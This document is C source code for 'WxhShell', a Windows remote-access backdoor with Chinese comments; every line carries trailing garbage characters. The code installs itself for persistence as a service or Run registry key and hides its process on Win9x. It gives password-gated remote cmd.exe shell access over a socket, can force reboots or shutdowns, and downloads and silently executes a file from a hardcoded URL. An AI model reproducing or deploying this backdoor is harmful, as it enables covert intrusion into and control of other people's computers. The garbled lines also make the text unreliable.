    } e `OQ6|.k8  
    break; tw&v@HUP  
    } {8oGWQgrj  
  // 关机 F\|4zM  
  case 'd': { 1ANb=X|hig  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b6p'%;Y/  
    if(Boot(SHUTDOWN)) $2RSYI`py  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lW|v_oP9  
    else { SD<a#S\o  
    closesocket(wsh); ,>8w|951'  
    ExitThread(0); )^+hm+27v  
    } ~"NuYM#@  
    break; C,GZ  
    } 8ZLHN',  
  // 获取shell xV 2C4K  
  case 's': { i];P!Gm  
    CmdShell(wsh); @BF1X.4-+  
    closesocket(wsh); j<k6z   
    ExitThread(0); |"I)1[7  
    break; yMTO5~U{  
  } 7 nFOV Z  
  // 退出 a^pbBDi W  
  case 'x': {  bLAHVi<.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HD/!J9&  
    CloseIt(wsh); %OHZOs  
    break; %.?V\l  
    } E)ZL+(  
  // 离开 :O$bsw:3w<  
  case 'q': { OZnKJ<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W5=)B`v  
    closesocket(wsh);  o?m/  
    WSACleanup(); h /^bRs`;  
    exit(1); f-71`Pyb  
    break; PMV,*`"9"A  
        } RtzSe$O  
  } PP>6  
  } K,$rG%c zX  
n|LpM.  
  // 提示信息 A`ajsZ{q,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -]H~D4ng  
} "aCAA#$J  
  } e,MsF4'  
x +pf@?w  
  return; 2\QsF,@`YU  
} 9 fYNSr  
3RT\G0?8f  
// shell模块句柄 *8/Xh)B;  
int CmdShell(SOCKET sock) lg~7[=%k#  
{ VqpC@C$  
STARTUPINFO si; )1KyUQ\e  
ZeroMemory(&si,sizeof(si)); qq]Iy=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X<P <-e9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x|(pmqIH+  
PROCESS_INFORMATION ProcessInfo; #mA(x@:*  
char cmdline[]="cmd"; OTdijQLY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AyOibnoZ2E  
  return 0; rxH]'6kP  
} y,3ZdY"  
IhYR4?e  
// 自身启动模式 JcA+ztPU  
int StartFromService(void) ;'= cNj  
{ c$%*p (zY  
typedef struct nGkSS_X  
{ =@?[.`  
  DWORD ExitStatus; mpMAhm:  
  DWORD PebBaseAddress; %kjG[C  
  DWORD AffinityMask; !W9:)5^X  
  DWORD BasePriority; `+"(GaZ  
  ULONG UniqueProcessId; +ovK~K $A  
  ULONG InheritedFromUniqueProcessId; *^~ =/:  
}   PROCESS_BASIC_INFORMATION; tmooS7\a  
gtZmBe=  
PROCNTQSIP NtQueryInformationProcess; |f#hGk6  
pX?3inQP%(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v/.'st2%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f,KB BBbG  
cN8Fn4gq  
  HANDLE             hProcess; 'in%Gii  
  PROCESS_BASIC_INFORMATION pbi; dQ.#8o=  
UI+6\ 3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O'mcN*  
  if(NULL == hInst ) return 0; hEQyaDD;  
]f0'YLG  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Dr!\.hL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); c{BAQZVc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wG3b{0  
=abcLrf2G  
  if (!NtQueryInformationProcess) return 0; jk03 Hd  
DfD >hf/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2!Dz9m3  
  if(!hProcess) return 0; E,}{iqAb  
7|DG1p9C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v{VF>qE P  
j)?M  
  CloseHandle(hProcess); ehr-o7](  
*WQ?r&[_'  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6FA+q YSV  
if(hProcess==NULL) return 0; pOc2V  
5mD8$% \8  
HMODULE hMod; 7"!b5(4=  
char procName[255]; 'bi;Y1:  
unsigned long cbNeeded; ~Ld5WEp k3  
Yi*F;V   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &>,;ye>A  
K8;SE !  
  CloseHandle(hProcess); ,,gMUpL7_8  
iZ-R%-}B  
if(strstr(procName,"services")) return 1; // 以服务启动 .ybmJU*Hg  
w`)5(~b  
  return 0; // 注册表启动 Mw/9DrE7/  
} `$B?TNuch7  
~oa}gJl:}-  
// 主模块 ]P0%S@]  
int StartWxhshell(LPSTR lpCmdLine) &v{#yzM  
{ #1DEZ4]jjY  
  SOCKET wsl; vW1^  
BOOL val=TRUE; Y 3BJ@sqz  
  int port=0; 7~e,"^>T  
  struct sockaddr_in door; @M5+12FYt  
Lt't   
  if(wscfg.ws_autoins) Install(); N}?|ik  
 GfE>?mG  
port=atoi(lpCmdLine); -G~]e6:zD  
|Ns4^2  
if(port<=0) port=wscfg.ws_port; a)QT#.  
.h-mFcjy  
  WSADATA data; d m8t ~38  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iBSM \ n  
im2mA8OH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4>*=q*<V5E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .| 4P :r  
  door.sin_family = AF_INET; 4v\HaOk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9Da{|FyrD  
  door.sin_port = htons(port); s6,~J F^  
Wigt TAh4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bC `<A  
closesocket(wsl); Z-PB CU  
return 1; '~D4%WKT  
} $0_K&_5w~  
JU?;Kq9R  
  if(listen(wsl,2) == INVALID_SOCKET) { .9nqJ7]  
closesocket(wsl); yE8D^M|g  
return 1; u}@N Qeg  
} ba|xf@=&  
  Wxhshell(wsl); K81X32Lm'  
  WSACleanup(); d`^3fr'.4A  
o08WC'bX  
return 0; |g&V? lI  
Lv%3 jj  
} J3eud}w  
8;@y\0  
// 以NT服务方式启动 >n"0>[:4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *7xcwj eP  
{ oy^-?+   
DWORD   status = 0; $hhXsu=  
  DWORD   specificError = 0xfffffff; XV]N}~h o`  
sgfqIe1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %R0 Wq4}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &=g3J4$z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :#YC_ id  
  serviceStatus.dwWin32ExitCode     = 0; {rc3`<%  
  serviceStatus.dwServiceSpecificExitCode = 0; *D? =Ts  
  serviceStatus.dwCheckPoint       = 0; hIe.Mv-I)  
  serviceStatus.dwWaitHint       = 0; .-Lrrk)R+  
g0B] ;Y>(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s2O()u-  
  if (hServiceStatusHandle==0) return; ip-X r|Bq  
d%7?913  
status = GetLastError(); COh#/-`\1  
  if (status!=NO_ERROR) q\EYsN</;  
{ !mlfG "FE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jY=y<R_oK  
    serviceStatus.dwCheckPoint       = 0; wL0[Slf}  
    serviceStatus.dwWaitHint       = 0; TKB8%/_p  
    serviceStatus.dwWin32ExitCode     = status; \3JCFor/  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1 /M^7Vb.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Tb i?AJa}  
    return; YV.' L  
  } `K{}  
1>Sfv|ZP,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )'+[,z ;s  
  serviceStatus.dwCheckPoint       = 0; _ $F=A  
  serviceStatus.dwWaitHint       = 0; w+)${|N?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <:9 ts@B  
} 5P!ZGbG  
+e{ui +  
// 处理NT服务事件,比如:启动、停止 fd'kv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +``vnC  
{ ]}L'jK 0  
switch(fdwControl) T!c|O3m  
{ HMd?`  
case SERVICE_CONTROL_STOP: cY5&1Shb~  
  serviceStatus.dwWin32ExitCode = 0; <XLae'R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d5'Q 1"{  
  serviceStatus.dwCheckPoint   = 0; syX?O'xJ  
  serviceStatus.dwWaitHint     = 0; DTezG':  
  { &|Gg46P7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o/{`\4  
  } ' [$KG  
  return; * :L"#20:R  
case SERVICE_CONTROL_PAUSE: Z<X=00,wg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eK7A8\;e  
  break; y0xBNhev  
case SERVICE_CONTROL_CONTINUE: >=N-P< %  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >$m<R &  
  break; VIF43/>(  
case SERVICE_CONTROL_INTERROGATE: U"Gx Xrl  
  break; p<L7qwOii  
}; B?j t?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1M`E.Ztw*  
} Ch"wp/[  
Ow;thNN  
// 标准应用程序主函数 UT3Fi@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8eB,$;i  
{ kkl'D!z2g  
}g+kU1y  
// 获取操作系统版本 mF 1f(  
OsIsNt=GetOsVer(); {!2K-7;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cO5F=ZxR  
HyzSHI  
  // 从命令行安装 -Lq+FTezE  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7i"b\{5  
%6Gg&Y$j!  
  // 下载执行文件 _HwA%=>7  
if(wscfg.ws_downexe) { c6:uM1V{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lj<Sa  
  WinExec(wscfg.ws_filenam,SW_HIDE); p-s\D_  
} xa)p ,  
=;Q/bD->  
if(!OsIsNt) { 0qN`-0Yk  
// 如果时win9x,隐藏进程并且设置为注册表启动 _mm(W=KiL  
HideProc(); yY8zTWji_  
StartWxhshell(lpCmdLine); 'Ix@<$~i3F  
} #zsaQg, B  
else nD5wN~[J  
  if(StartFromService()) @rGY9%E  
  // 以服务方式启动 %IO*(5f  
  StartServiceCtrlDispatcher(DispatchTable); 4Fp[94 b  
else DdR0u0JH0  
  // 普通方式启动 e|k]te  
  StartWxhshell(lpCmdLine); QT c{7&  
Wc@ ,#v  
return 0; kZ5#a)U<  
} f#ZM 2!^!  
T<*)Cdid  
'w ,gYW  
KS*,'hvY  
=========================================== 5t%8y!s  
Fip 5vrD  
l,o'J%<%  
1m5l((d  
Ey7zb#/<!  
WWp MuB_G  
" %_|KiW  
Hhtl~2t!0  
#include <stdio.h> y[b 8rv  
#include <string.h> Q"I(3 tp9[  
#include <windows.h>  bUcp8  
#include <winsock2.h> )%^l+w+&  
#include <winsvc.h> h\!8*e;RAW  
#include <urlmon.h> G' U_I  
6 /<Hx@r (  
#pragma comment (lib, "Ws2_32.lib") 0d+n[Go+S  
#pragma comment (lib, "urlmon.lib") f&CQn.K"  
L-(bw3Yr>  
#define MAX_USER   100 // 最大客户端连接数 gY7sf1\wX  
#define BUF_SOCK   200 // sock buffer EK# 11@0%  
#define KEY_BUFF   255 // 输入 buffer Phi5;U!  
XR..DVab  
#define REBOOT     0   // 重启 4`8s]X  
#define SHUTDOWN   1   // 关机 M0$MK>  
n$2oM5<  
#define DEF_PORT   5000 // 监听端口 WK$\#>T  
3VLwY!2:  
#define REG_LEN     16   // 注册表键长度 ~u%$ 9IhM  
#define SVC_LEN     80   // NT服务名长度 3zB'AG3b  
WVR/0l&bU  
// 从dll定义API a{xJ#_/6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [7}3k?42X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {dxFd-K3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tMw65Xei6b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); U5C]zswL  
cg{5\ Vl  
// wxhshell配置信息 kTH"" h{  
struct WSCFG { =@d#@  
  int ws_port;         // 监听端口 CcUF)$kz  
  char ws_passstr[REG_LEN]; // 口令 ;i[JCNiS\  
  int ws_autoins;       // 安装标记, 1=yes 0=no PE5*]+lW.  
  char ws_regname[REG_LEN]; // 注册表键名 .F,l>wUNe  
  char ws_svcname[REG_LEN]; // 服务名 zg ,=A?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "SN*hzs"]`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <r,5F:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +.~K=.O)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6CFnE7TQf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @RPQ 1da  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 AZ(zM.y!#_  
S`vt\g$ dN  
}; fNLO%\G~2  
rf=l1GW  
// default Wxhshell configuration `<g]p-=":  
struct WSCFG wscfg={DEF_PORT, XMS:F]HN  
    "xuhuanlingzhe", ~R[ k^i.Y  
    1, =Xvm#/  
    "Wxhshell", MH#Tp#RG  
    "Wxhshell", Y/J~M$9P,  
            "WxhShell Service", /wEl\Kx  
    "Wrsky Windows CmdShell Service", ]){ZL  
    "Please Input Your Password: ", F'|K>!H  
  1, }Hb0@ b_  
  "http://www.wrsky.com/wxhshell.exe", GZi`jp  
  "Wxhshell.exe" gM&O dT+i  
    }; <n,QSy#  
IoL P*D  
// 消息定义模块 *f 7rLM*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5Xr})%L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6/ 5c|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B>1,I'/$.  
char *msg_ws_ext="\n\rExit."; (W#CDw<ja  
char *msg_ws_end="\n\rQuit."; 4 xqzdR_  
char *msg_ws_boot="\n\rReboot..."; :4AIYk=q  
char *msg_ws_poff="\n\rShutdown..."; 'yVe&5?  
char *msg_ws_down="\n\rSave to "; ]A}ZaXd  
'4M{Xn}@  
char *msg_ws_err="\n\rErr!"; m!KEK\5M?  
char *msg_ws_ok="\n\rOK!"; NxF:s,a6  
g$NUu  
char ExeFile[MAX_PATH]; x:0swZ5Z  
int nUser = 0; AM=> P 7  
HANDLE handles[MAX_USER]; d;<'28A  
int OsIsNt; F5X9)9S  
: j kO  
SERVICE_STATUS       serviceStatus; G>"n6v'^d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; OCu_v%G 0  
gbYM1guiD  
// 函数声明 `^#4okg]  
int Install(void); =~JVU  
int Uninstall(void); iDcTO}  
int DownloadFile(char *sURL, SOCKET wsh); %Mj,\J!  
int Boot(int flag); aAe`o2Xs  
void HideProc(void); gs!'*U)  
int GetOsVer(void); oUn+tu:  
int Wxhshell(SOCKET wsl); w2xD1oK~o  
void TalkWithClient(void *cs); f3Zf97i  
int CmdShell(SOCKET sock); Sed 8Q-m  
int StartFromService(void); Ej)7[  
int StartWxhshell(LPSTR lpCmdLine); L{VnsY V  
y0Gblza  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c$,1j%[)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p@O Ip  
 omg#[  
// 数据结构和表定义 4 .c1  
SERVICE_TABLE_ENTRY DispatchTable[] = QOK,-  
{ >yKz8SV#  
{wscfg.ws_svcname, NTServiceMain}, QGI@5  
{NULL, NULL} ]&H"EHC<$  
}; ;%d<Uk?  
U]}FA2  
// 自我安装 TrzAgNt  
int Install(void) Io*H}$Gf  
{ m#_Rv  
  char svExeFile[MAX_PATH]; qCI7)L`  
  HKEY key; \]4EAKJE  
  strcpy(svExeFile,ExeFile); qpFxl  
7_PY%4T"  
// 如果是win9x系统,修改注册表设为自启动 Uhr2"Nuuy  
if(!OsIsNt) { C) R hld  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @;Jv/N6@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WZ>nA[/  
  RegCloseKey(key); ML'y`S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =PY{Elf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T16gq-h'  
  RegCloseKey(key); ;_SSR8uHv  
  return 0; ]e),#_M  
    } "p3<-06  
  } %y9sC1T  
} L7{}`O/g7  
else { 6)0.q|Q  
;v\s7y  
// 如果是NT以上系统,安装为系统服务 n%29WF6Zf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q 8sfG;)  
if (schSCManager!=0) 4v/MZ:%C`  
{ l!XCYg@67  
  SC_HANDLE schService = CreateService L3HC-  
  ( t O.5  
  schSCManager, Ph]b6  
  wscfg.ws_svcname, NA2={RB;  
  wscfg.ws_svcdisp, vGlVr.)  
  SERVICE_ALL_ACCESS, (/<Nh7C1c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6QA`u*  
  SERVICE_AUTO_START, ^%zhj3#  
  SERVICE_ERROR_NORMAL, ~n@rX=Y)]0  
  svExeFile, a(6h`GHo  
  NULL, @*<0:Q|m  
  NULL, D|Q7dIZm  
  NULL, al}J^MJ  
  NULL, L!*+: L DL  
  NULL ?Xvy0/s5  
  ); #S9J9k  
  if (schService!=0) {|>Wwa2e  
  { XQn1B3k+  
  CloseServiceHandle(schService); %m dtVQ@  
  CloseServiceHandle(schSCManager); J;Z2<x/H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O<Q8%Az  
  strcat(svExeFile,wscfg.ws_svcname); &kzysv-_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M1WD^?tKQ.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z]rr Q=dAA  
  RegCloseKey(key); m-azd ~r[  
  return 0; +@^);b6  
    } l 3p :}A  
  } 3s?u05_  
  CloseServiceHandle(schSCManager); NW5OLa")J<  
} Q;VuoHj!  
} o/7u7BQl2  
+'c+X^_  
return 1; >Y8\f:KQ  
} uarfH]T{  
xE@/8h  
// 自我卸载 So!=uYX  
int Uninstall(void) 2`riI*fQ  
{ QPB,B>Z  
  HKEY key; ;$&\ :-6A#  
XEA5A.uc  
if(!OsIsNt) { cQhr{W,Un  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v]{UH {6  
  RegDeleteValue(key,wscfg.ws_regname); k*)sz  
  RegCloseKey(key); YhV<.2^k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "g5{NjimY  
  RegDeleteValue(key,wscfg.ws_regname); 'o}[9ZBjn  
  RegCloseKey(key); \\\8{jq  
  return 0; s.bo;lk  
  } ?110} [jw  
} YyxU/UnhG  
} y(QFf*J  
else { 2%fIe   
0c`zg7|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2H4vK]]Nl  
if (schSCManager!=0) y& yf&p  
{ jG7PT66>;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); i:aW .QZ.  
  if (schService!=0) v5'`iO0o  
  { G*+^b'7  
  if(DeleteService(schService)!=0) { <9ucpV  
  CloseServiceHandle(schService); o5a=>|?p>  
  CloseServiceHandle(schSCManager); 7xeqs q  
  return 0; YS^!'IyG/B  
  } @T\n@M]  
  CloseServiceHandle(schService); _Z[0:4  
  } z5$Q"Y.D  
  CloseServiceHandle(schSCManager); A`Dx]y  
} :CE4< {V  
} KL=<s#  
U&WEe`XM  
return 1; -%"PqA/1zj  
} '+_>PBOc  
cw!,.o%cD  
// 从指定url下载文件 =J]WVA,GqA  
int DownloadFile(char *sURL, SOCKET wsh) e9[72V  
{ {V6pC  
  HRESULT hr; G~<UP(G  
char seps[]= "/"; GA gTy  
char *token; }?9&xVh?\  
char *file; ZEI,9`t!  
char myURL[MAX_PATH]; jj[6oNKE1  
char myFILE[MAX_PATH]; &t9 V  
=p'+kS+  
strcpy(myURL,sURL); JnsJ]_<  
  token=strtok(myURL,seps); r+Ki`HD%  
  while(token!=NULL) 6"Fn$ :l?  
  { "wOfs$w%s  
    file=token; V+Tv:a  
  token=strtok(NULL,seps); bOj)Wu  
  } C*(  
>l &]Ho  
GetCurrentDirectory(MAX_PATH,myFILE); Y'|,vG  
strcat(myFILE, "\\"); y+ze`pL?  
strcat(myFILE, file); [oTe8^@[  
  send(wsh,myFILE,strlen(myFILE),0); Z71m(//*}  
send(wsh,"...",3,0); e7U\gtZ.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {zAI-?#*u  
  if(hr==S_OK) u)0I$Tc"  
return 0; _h!.gZB3  
else 7l69SQo]?  
return 1; 3{3@>8{w  
TsTc3  
} b4_0XmL  
|[>@Kk4  
// 系统电源模块 <PpvVDy3  
int Boot(int flag) [Iks8ZWr_  
{ "O jAhKfG  
  HANDLE hToken; *XTd9E^tXq  
  TOKEN_PRIVILEGES tkp; sFFQ]ST2p  
|EE1S{!24m  
  if(OsIsNt) { 6^Wep- $  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2cYBm^o|x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i 6G40!G=)  
    tkp.PrivilegeCount = 1; uatUo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yU v YV-7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C.jWT1  
if(flag==REBOOT) { f,HUr% @  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )Zr9 `3[  
  return 0; o&q>[c  
} E]`7_dG+T  
else { uNzc,OH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p:4jY|q  
  return 0; gN=.}$Kfu  
} R_PF*q2 '  
  } 5Kg'&B (  
  else { .hat!Tt9  
if(flag==REBOOT) { "@UQSf,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @V*dF|# /  
  return 0; q7X]kr*qx  
} OH\^j1x9I  
else { y+(\:;y$7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k]@]a  
  return 0; A;TP~xq\  
} y"q aa  
} [r/zBF-.  
&P?2H66s  
return 1; o:@Q1+p  
} {6'X z  
L|'^P3#7`  
// win9x进程隐藏模块 Z4] n<~o  
void HideProc(void) WUYI1Ij;  
{ 5}#wp4U  
@ma(py  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \Rny*px  
  if ( hKernel != NULL ) kTvM,<  
  { D4=*yP  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); X$Vi=fvt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fW-C`x  
    FreeLibrary(hKernel); mOE *[S)  
  } s\ -,RQ1  
.9jKD*U|  
return; Cu[-<>my  
} p-[WpY3  
)j_El ]?  
// 获取操作系统版本 c$g@3gL  
int GetOsVer(void) t2N W$ -E  
{ ,>  zEG  
  OSVERSIONINFO winfo; ||Zup\QB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u7!9H<{>P  
  GetVersionEx(&winfo); cSb;a\el$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y9+_MxC"  
  return 1; 3z+l-QO8  
  else k +-w%  
  return 0; S&-K!XyJ  
} ~G!JqdKJ0  
Y?0/f[Ax,y  
// 客户端句柄模块 $coO~qvU  
int Wxhshell(SOCKET wsl) 1 R5 pf  
{ Y %JQ  
  SOCKET wsh; V'vR(Wx  
  struct sockaddr_in client; AcH-TIgM/  
  DWORD myID; ux;?WPyr  
[^5\Ww  
  while(nUser<MAX_USER) ks4`h>i  
{ V0nQmsP1U  
  int nSize=sizeof(client); $T'!??|IF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6Z2,:j;  
  if(wsh==INVALID_SOCKET) return 1; 0t <nH%N}^  
$83B10OQ&L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '/W$9jm  
if(handles[nUser]==0) g68p9#G  
  closesocket(wsh); )[Y B&  
else mayJwBfU  
  nUser++; c3vb~l)  
  } cw Obq\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aB]0?C y9(  
4DA34m(  
  return 0; ~^m Uu`@r  
} [{x}# oRSE  
pCIzpEsRs  
// 关闭 socket %$!3Pbu i  
void CloseIt(SOCKET wsh) COrk (V  
{ Rr )+M3'  
closesocket(wsh); Jz@~$L  
nUser--; (`P\nnb  
ExitThread(0); lPTx] =G  
} yeo&Qz2vU  
oo5=5s6 3}  
// 客户端请求句柄 c`a(  
void TalkWithClient(void *cs) G.W !   
{ 2QfN.<[-  
drq3=2  
  SOCKET wsh=(SOCKET)cs; ]R__$fl`8  
  char pwd[SVC_LEN]; )pnyVTKt  
  char cmd[KEY_BUFF]; +&EXTZ@o  
char chr[1]; FfoOJzf~o  
int i,j; zsFzg.$3&  
;XKe$fsa~?  
  while (nUser < MAX_USER) { mB?x_6#d9  
.fA*WQ!lb  
if(wscfg.ws_passstr) { wKV4-uyr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #+ I'V\ [  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .Eao|;  
  //ZeroMemory(pwd,KEY_BUFF); \CbJU  
      i=0; bF'rK'',  
  while(i<SVC_LEN) { %`Re {%1;  
tXD$HeBB?  
  // 设置超时 bzg C+yT  
  fd_set FdRead; pfA6?tP`  
  struct timeval TimeOut; zw0w."V  
  FD_ZERO(&FdRead); XX6Z|Y5.  
  FD_SET(wsh,&FdRead); "t@p9>  
  TimeOut.tv_sec=8; 9Em#Ela  
  TimeOut.tv_usec=0; C8N)!5(A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r"h;JC/&<T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [Kg b#L'{  
|c_qq Bd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a?c&#Jl  
  pwd=chr[0]; !vnQ;g5  
  if(chr[0]==0xd || chr[0]==0xa) { vF$i"^;tJ;  
  pwd=0; 2-&EkF4p'  
  break; 7s9h:/Lu  
  } wj|Zn+{"nF  
  i++; Vz{+3vfra6  
    } ]Bw0Qq F#  
sDY~jP[Oa  
  // 如果是非法用户,关闭 socket ?$r`T]>`2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -N *L1Zj  
} EY}:aur  
em$pU*`P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y_]+;%w:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1<@SMcj>  
mkl{Tp*  
while(1) { ,$P,x  
FR&`R  
  ZeroMemory(cmd,KEY_BUFF); 1H)mJVIKkB  
VFHd2Ea(  
      // 自动支持客户端 telnet标准   LF<&gC  
  j=0; ,Kit@`P%  
  while(j<KEY_BUFF) { Z:; }  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :!ya&o  
  cmd[j]=chr[0]; e|~MJu+1  
  if(chr[0]==0xa || chr[0]==0xd) { XR5KJl  
  cmd[j]=0; 2iAC_"n  
  break; 5E:$\z;  
  } 5of3&  
  j++; q}1ZuK`6  
    } =W(*0"RM  
B5e9'X^ [  
  // 下载文件 sE1cvAw9l  
  if(strstr(cmd,"http://")) { 4ls:BO;k]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *6uccx7{  
